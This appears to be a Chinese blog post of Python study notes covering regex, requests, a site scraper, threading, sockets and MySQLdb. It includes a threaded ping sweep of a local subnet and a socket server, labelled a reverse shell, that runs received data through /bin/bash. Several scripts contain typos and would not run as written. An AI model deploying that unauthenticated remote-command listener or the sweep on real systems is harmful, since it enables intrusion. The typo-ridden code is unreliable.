Python Web编程

Python 编程

  • 查看源代码 print help(base64) or print base64.__file__

Python正则表达式

1
2
3
import re
pattern = re.compile('hello')
match = pattern.match('hello world!')

或者

1
word = re.findall('hello'.'hello word')

|一般字符|功能|正则表达式|匹配结果|
|-------|----|----|-----|
|  **.**   |   匹配任意换行符以外的字符  |   h.  |  ht or hb ... |
|  **\\**  |  转义字符   |  \\\\ |  \    |
|  **[...]** | 字符集,对应位置可以是字符,也可以是范围,第一个字符如果是‘^’则表示取反,所有特殊字符在字符集中均失去原有含义,使用是可以加反斜杠  | [0-9] |616 or ...|
| **\d**  |  匹配数字 |  a\dc   | a1c  |
| **\D**  |  匹配非数字   |     |
| **\s** |   空白字符 [<空格>\t\r\f\v] |  a\sb   | a b |
| **\S**  | 非空白字符 [^\s]   |   |
| **\w** | 单词字符 [A-Za_z0-9] | a\wc  |  abc  |
| **\W** | 非单词字符 [^\w] |   |
| **\***  | 匹配前一个字符0次或无限次  | abc*   |  ab  or  abcccccc |
| **+** |  匹配前一个字符1次或无限次 | abc+   |  abc  or  abcccccc |
|  **?**|  匹配前一个字符0次或1次 |  abc?    | ab  or  abc   |
| **{m}**  |  匹配前一个字符m次 |  ab{3}c  | abbbc|
|  **{m,n}**  |  匹配前一个字符m次至n次 | ab{1,2}c   | abc  or abbc|
|  **\|**  | 表示匹配左右两个表达是中的一个,先左后右,左边成功则结束,如果‘\|’没有包含在()中则它的范围是整个正则表达式  | abc\|abf  |  abc or def|
| **(..)**  | 被括起来的表达式作为一个分组,\|的范围仅仅在括号内  | (abc){2}a(123\|456)c    |abcabca123c|
  • Python编译选项指定

    |使用方法|功能|
    |——-|—-|
    | re.I | 忽略大小写 |
    | re.L | 使用预定义字符类\w\W\b\B\s\S取决当前区域设定 |
    | re.M | 多行模式改变‘^’和‘$’的行为 | |
    | re.S | .任意匹配模式 |
    | re.U | 使用预定义字符类\w\W\b\B\s\S\d\D取决于Unicode定义的字符属性 |
    | re.X | 详细模式,可以多行,忽略空白字符,并且可以加入注释 |

  • 贪婪模式与非贪婪模式

Python Web编程

  • urllib

    • urllib.urlopen()
    • urllib.urlretrieve() 下载文件
      1
      2
      3
      4
      urlretrieve(url , filename=None , reporthook=None , data=None)
      For example:
      urlretrieve("https://www.baidu.com/img/bd_logo1.png" , filename=Document/temp/baidu.png)
      filename是文件下载后保存的地址
  • urllib2

    • urllib2.urlopen()
    • urllib2.Requests() 定制请求头等
  • requests

    第三方库文件,需要安装pip install requests

    • 发送请求

      1
      2
      3
      4
      5
      6
      r = requests.get("https://www.baidu.com/")
      r = requests.post("https://www.baidu.com/")
      r = requests.put("https://www.baidu.com/")
      r = requests.delete("https://www.baidu.com/")
      r = requests.head("https://www.baidu.com/")
      r = requests.options("https://www.baidu.com/")
    • 为URL传递参数

      1
      2
      3
      4
      payload = {'key1':'value1','key2':'value2'}
      r = requests.get("https://www.baidu.com",params = payload )
      print (url)
      https://www.baidu.com?key2=value2&key1=value1
    • 响应内容

      1
      2
      3
      4
      r = requests.get("https://www.baidu.com/")
      r.text
      r.encode'utf-8'
      r.encode = 'ISO-8859-1'
    • 二进制响应内容

      1
      2
      r = requests.get("https://www.baidu.com/")
      r.content
    • 定制请求头

      1
      2
      3
      4
      url = "https://www.baidu.com/"
      headers = {'content-type':'application/json'}
      r = repuests.get(url,headers=headers)
      header中可以加入cookie
    • 复杂的post请求

      1
      2
      payload = {'key1':'value1','key2':'value2'}
      r = requests.post("https://www.baidu.com/post",data = payload)
    • 响应状态码

      1
      2
      r = requests.get("https://www.baidu.com/")
      r.status_code
    • 响应头

      1
      r.headers
    • 1
      2
      r.cookies
      r.cookies['example cookie name']
    • 超时

      1
      requests.get("https://www.baidu.com/post",timeout = 0.001)
    • 错误和异常

      1
      遇到网络问题时(如:DNS查询失败,拒绝链接等),Requests会抛出一个ConnectionError异常。遇到罕见的无效HTTP响应时,Requests则会抛出一个HTTPError异常,若请求超时,则会抛出Timeout异常
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      #coding=utf-8

      import requests
      import json

      def spider(url, data):

      headers = {
      'Host': 'www.ichunqiu.com',
      'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0',
      'Accept': 'application/json, text/javascript, */*; q=0.01',
      'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
      'Accept-Encoding': 'gzip, deflate',
      'Referer': 'https://www.ichunqiu.com/courses',
      'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
      'X-Requested-With': 'XMLHttpRequest',
      'Content-Length': '94',
      'Cookie': 'ci_session=da3cb5472ee493e4cab3f607c2eb1376d8d8f1ec; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; __jsluid=227eea42ddcdc5dfd20ce94113679b2a; UM_distinctid=161d204f2129-01b579968a5537-4c322172-1fa400-161d204f214d5; CNZZDATA1262179648=831575282-1519646472-%7C1519651893; pgv_pvi=9857672192; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1519646998,1519647981,1519654917,1519655470; pgv_si=s9058514944; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1519655470',
      'Connection': 'close',
      }

      r = requests.post(url=url,headers=headers, data=data)
      #print (r.text)
      data = json.loads(r.text)

      for i in range(len(data['course']['result'])):
      print data['course']['result'][i]['courseName']

      for i in range(1,18 ):
      url = 'https://www.ichunqiu.com/courses/ajaxCourses'
      data = {'pageIndex':'0'}
      page = str(i)
      data['pageIndex'] = page
      spider(url, data)

      #print courses_dict[0].encode('utf-8')

Python多线程编程

  • thread 模块使用这种方法一定要加上time.sleep()

    1
    start_new_thread(function,args kwargs=None)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    import thread
    import time

    def fun1():
    print ("hello world! %s"%time.ctime())

    def main():
    thread.start_new_thread(fun1, ())
    thread.start_new_thread(fun1, ())
    time.sleep(2)

    if __name__ =='__main__':
    main()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    #对该网段内存活的主机进行探测
    import thread
    import time

    from subpocess import Popen, PIPE

    def main():
    for i in range(1, 255):
    ip = '192.168.43.'+str(i)
    thread.start_new_thread(ping_check, (ip, ))
    time.sleelp(0.01)
    ping_check()

    def ping_check(ip):
    check = Popen(['bin/bash', '-c', 'ping -c 2'+ip], stdin=PIPE, stout=PIPE)
    data = check.stout.read()
    if 'ttl' in data:
    print '%s is UP'%ip

    if __name__ == "__main__":
    main()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    import threading
    import time

    def fun1(keys):
    print ('Hello %s:%s'%(keys, time.time()))

    def main():
    threads = []
    keys = ['lixu', 'hancong', 'tianhao']
    threads_count = len(keys)
    for i in range(threads_count):
    t = threading.Thread(target=fun1, args=(keys[i], ))
    threads.append(t)

    for i in range(threads_count):
    threads[i].start()

    for i in range(threads_count):
    threads[i].join()

    if __name__ == '__main__':
    main()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    #coding=utf-8
    #同时开十个进程访问百度
    import threading
    import time
    import requests
    import sys

    def fun1():
    time_start = time.time()
    r = requests.get(url='https://www.baidu.com')
    times = time.time() - time_start
    sys.stdout.write("Status: %s---%s---%s\n"%(r.status_codes, times, time.strftime('%H:%M:%S')))



    def main():
    threads = []
    threads_count = 10
    for i in range(threads_count):
    t = threading.Thread(target=fun1, args=())
    threads.append(t)

    for i in range(threads_count):
    threads[i].start()

    for i in range(threads_count):
    threads[i].join()



    if __name__ == '__main__':
    main()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    #coding=utf-8
    import threading
    import Queue

    from subprocess import Popen, PIPE
    import sys


    class DoRun(threading.Thread):
    def __init__(self, queue):
    threading.Thread.__init__(self)
    self._queue = queue

    def run(self):
    while not self.empty():
    ip = self._queue.get()
    #print ip
    check_ping = Popen(['/bin/bash', '-c', 'ping -c 2'+ip], stdin=PIPE, stdout=None)
    data = check_ping.stdout.read()
    if 'ttl' in data:
    sys.stdout.write(ip+' is UP\n')

    def main():
    threads=[]
    threads_count = 10
    queue = Queue.Queue()

    for i in range(1, 255):
    queue.put("192.168.43."+str(i))

    for i in range (threads_count):
    threads.append(DoRun(queue))

    for i in threads:
    i.start()
    for i in threads:
    i.join()

    if __name__ == "__main__":
    main()

Python网络编程

  • C/S架构

    • 客户机和服务器架构,Server的唯一目的是等待Client的请求,Client链接上Server后,发送数据并由Server处理,然后Server将处理后的数据交给Client
  • C/S网络编程

  • 套接字

    • 类似于通信端点的概念的网络数据结构
  • Socket模块

    • 该模块的socket()方法用来创建套接字socket(socket_family,socket_type,protocol=0)

      1
      2
      For example:(create a tcp socket)
      tcpsock = socket(socket.AF_INET,socket.SOCK_STREAM)

      |服务端套接字函数|功能|
      |———|——–|
      | s.bind() | 绑定地址到套接字 |
      |s.listen() | 开始监听TCP端口 |
      | s.accept() | 被动接受TCP客户端连接,(阻塞式)等待连接的到来 |

      |客户端套接字函数|功能|
      |————|—————|
      | s.connect() | 主动初始化TCP服务连接 |
      | s.connect_ex() | connect()函数的扩展版本,出错时返回错误代码,而不是返回异常 |

      |公共用途套接字函数|功能|
      |——————-|————-|
      | s.recv() | 接受TCP数据 |
      | s.send() | 发送TCP数据 |
      | s.sendall() | 完整发送TCP数据 |
      | s.recvfrom() | 接受UDP数据 |
      | s.sendto() | 发送TCP数据 |
      | s.getpeemame() | 接收到当前套接字的远端地址 |
      | s.getsockname() | 当前套接字的地址 |
      | s.getsockopt() | 返回指定套接字的参数 |
      | s.setsockopt() | 这只指定套接字的参数 |
      | s.close() | 关闭当前套接字 |

    • 简单的python服务器与客户端脚本,反弹shell

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      #Server服务端
      #coding=utf-8
      #!/usr/bin/env python

      from socket import *
      from time import *
      from subprocess import *

      HOST = ''
      PORT = 5567
      BUFFER = 1024
      ADDR = (HOST, PORT)

      tcpServer = socket(AF_INET, SOCK_STREAM)
      tcpServer.bind(ADDR)
      tcpServer.listen(5)

      while True:
      print "waiting for connection..."
      tcpClient,addr = tcpServer.accept()
      print "..Connected from : ",addr
      while True:
      data = tcpClient.recv(BUFFER)
      if not data:
      break
      cmd = Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)
      data = cmd.stdout.read()
      tcpClient.send('[%s] : %s'%(ctime(), data))

      tcpClient.close()
      tcpServer.colse()
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      #Client客户端
      #coding=utf-8
      #!/usr/bin/env python

      from socket import *

      HOST = '192.168.43.23' #根据要访问的服务器IP而定
      PORT = 5567
      BUFFER = 1024

      ADDR = (HOST, PORT)

      tcpClient = socket(AF_INET, SOCK_STREAM)
      tcpClient.connect(ADDR)

      while True:
      data = raw_input('~: ')
      if not data:
      break
      tcpClient.send(data)
      data = tcpClient.recv(BUFFER)
      if not data:
      break
      print data

      tcpClient.close()

Python数据库编程

  • Python DB API
    • 数据通道(数据库连接对象connection)
    • 数据(数据库交互对象cursor)
    • 异常(数据库异常类exceptions)
    • 访问流程:
      • 创建connection连接,获取cursor,执行操作,关闭cursor,关闭connection
  • Python MySQL开发环境
    • python代码 ——-> MySQL for Python ——-> 数据库服务器
  • Python数据库编程实例

    • 数据库连接对象connection
    • 链接对象:建立Python客户端与数据库的网络连接
    • 创建方法:MySQLdb.Connect(参数)

      |  参数名  |  类型  |  说明 |
      |---------|------|------|
      |  host   |   字符串  |  MySQL服务器地址   |
      |  port   |   数字  |  MySQL服务器端口号   |
      |  user   |  字符串   |  用户名   |
      |  passwd   |   字符串  | 密码    |
      |  db   |   字符串  |  数据库名   |
      |  charset   |   字符串  | 连接编码  |
      
    • connection对象支持方法

      |  方法名 | 说明  |
      |--------|-----|
      |  cursor() | 使用该连接创建并返回游标  |
      |  commit()   |提交当前事务    |
      |  rollback()   | 回滚当前事务    |
      |  close()   |  关闭当前事务   |
      
    • cursor对象支持的方法

      |   参数名  |  说明   |
      |---------|----------|
      |  execute(op[,args])   |  执行一个数据库查询命令   |
      |  fetchone()   |  取得结果集里的下一行   |
      |  fetchmanv(size)   |  取得结果集里的下几行   |
      |  fetchall()   |  取得结果集里的下几行   |
      |  rowcount()   |  最近一次execute返回的数据的函数或影响行数   |
      |  close()   |  关闭   |
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      #简单的数据库编程实例
      #!/usr/bin/env python
      import MySQLdb

      conn = MySQLdb.connect(host = '192.168.43.100', port = 3360, user = 'root', passwd = '123#@!')

      cus = conn.cursor()

      sql = 'select version()'

      cus.execute(sql)
      print cus.fetchone()

      cus.close()
      conn.close()

      另一个实例结合的是web编程的爬虫所展开

-------------本文结束感谢您的阅读-------------
0%